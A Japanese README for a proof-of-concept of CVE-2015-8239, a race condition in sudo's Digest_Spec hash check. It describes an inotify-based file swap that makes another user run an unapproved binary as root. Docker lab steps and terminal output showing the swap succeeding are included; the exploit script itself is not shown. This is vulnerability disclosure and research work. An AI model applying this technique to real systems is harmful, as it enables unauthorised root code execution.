Digest_Spec TOCTOU POCAlyssa Milburn (https://twitter.com/noopwafel) 氏は、Digest_Spec 設定が使用されているときに sudo に TOCTOU レースコンディションのバグを発見しました。Digest_Spec 設定は、バイナリのハッシュが規定値と一致する場合に限り、ユーザーが sudo でそのバイナリを実行することを許可するために使用できます。この機能の詳細については、man sudoers を参照し、Digest_Spec を検索してください。Alyssa 氏が発見したバグの詳細については、http://noopwafel.net/notes/2015/sudo-digest-race-condition.html を参照してください。この問題には CVE-2015-8239 が割り当てられました。
この問題は、man sudoers にレースコンディションの可能性を警告するドキュメントを追加し、特定の種類のファイル変更が有効になるのを防ぐために sudo にいくつかの fexecve() マジックを追加することで緩和されました。
興味深いことに、cve-assign は https://seclists.org/oss-sec/2015/q4/256 で次のように述べています:
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.
この POC は、「writer」ユーザーがシステム上で永続的なコードを実行できる場合、この記述が必ずしも真ではないことを示しています。「writer」ユーザーは inotify を利用して、「executor」ユーザーが sudo を使用してファイルを実行しているタイミングを検出し、その時点でファイル置換攻撃を試みることができます。
このプロジェクトは、次のような Docker イメージを作成します:
/opt/sudoable にファイルがあり、editor ユーザーが書き込み可能で、その SHA256 ハッシュが特定の値と一致する場合に限り executor ユーザーが sudo で実行できる。/opt/hello(SHA256 ハッシュが sudoers に組み込まれている「善玉」ファイル)と /opt/goodbye(「悪玉」ファイル)がある。/opt は root ユーザーのみが書き込み可能である(したがって、editor ユーザーは /opt/sudoable の 内容 を置き換えることはできるが、ファイルシステムレベルのファイル交換操作はできない)。/home/editor/exploit/exploit.py に inotify ベースの TOCTOU エクスプロイトがある。editor ユーザーが /home/editor/exploit/exploit.py を実行すると、inotify を使用してファイルシステムイベントが監視されます。/opt/sudoable ファイルがアクセスされると、/opt/goodbye に置き換えられます。その後、ファイルが閉じられると、/opt/hello に置き換えられ、「通常」の状態に戻されます。
もし executor ユーザーが sudo /opt/sudoable を実行したときにこのレースが成功するならば(私のマシンではほとんどの場合成功します)、editor ユーザーは、sudoers 内で Digest_Spec 値として SHA256 ハッシュが指定されているにもかかわらず、executor ユーザーに悪意のあるバイナリを root として実行させることができます。
make all を実行してください。
./instantiate.sh を実行します。tmux new-session を実行し、ペインを分割します(Ctrl+b の後に "; Ctrl+b の後に Up/Down でペインを切り替えます)。sudo -u executor sudo /opt/sudoable を実行し、出力 Hello uid=0 を確認します。sudo -u editor cp /opt/goodbye /opt/sudoable を実行します。sudo -u executor sudo /opt/sudoable を実行し、パスワードを求められることを確認します(つまり、ダイジェスト不一致のため sudo 操作が失敗します)。sudo -u editor /home/editor/exploit/exploit.py を実行します。sudo -u executor sudo /opt/sudoable を数回実行し、たまに Goodbye uid=0 が出力されることを確認します。上部ペイン:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0
下部ペイン:
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable
上部ペイン:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
下部ペイン:
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py
上部ペイン:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy
fexecve() による緩和策は、実際にはどのような場合に有効なのでしょうか? sudoable ファイルへの書き込み権限はあるが、そのファイルが置かれているディレクトリへの書き込み権限がない場合、sudo によって開かれたファイルを変更できます。ディレクトリへの書き込み権限はあるがファイルへの書き込み権限がない場合、ファイルをどかして再作成することで変更可能にでき、振り出しに戻ります。
Digest_Spec 設定について教えてくれたこと、アイデアを出し合ってくれたこと、クリーンなクロスユーザー POC に inotify を使うことを考えてくれたことに、Luke (https://twitter.com/lukejahnke) に感謝します。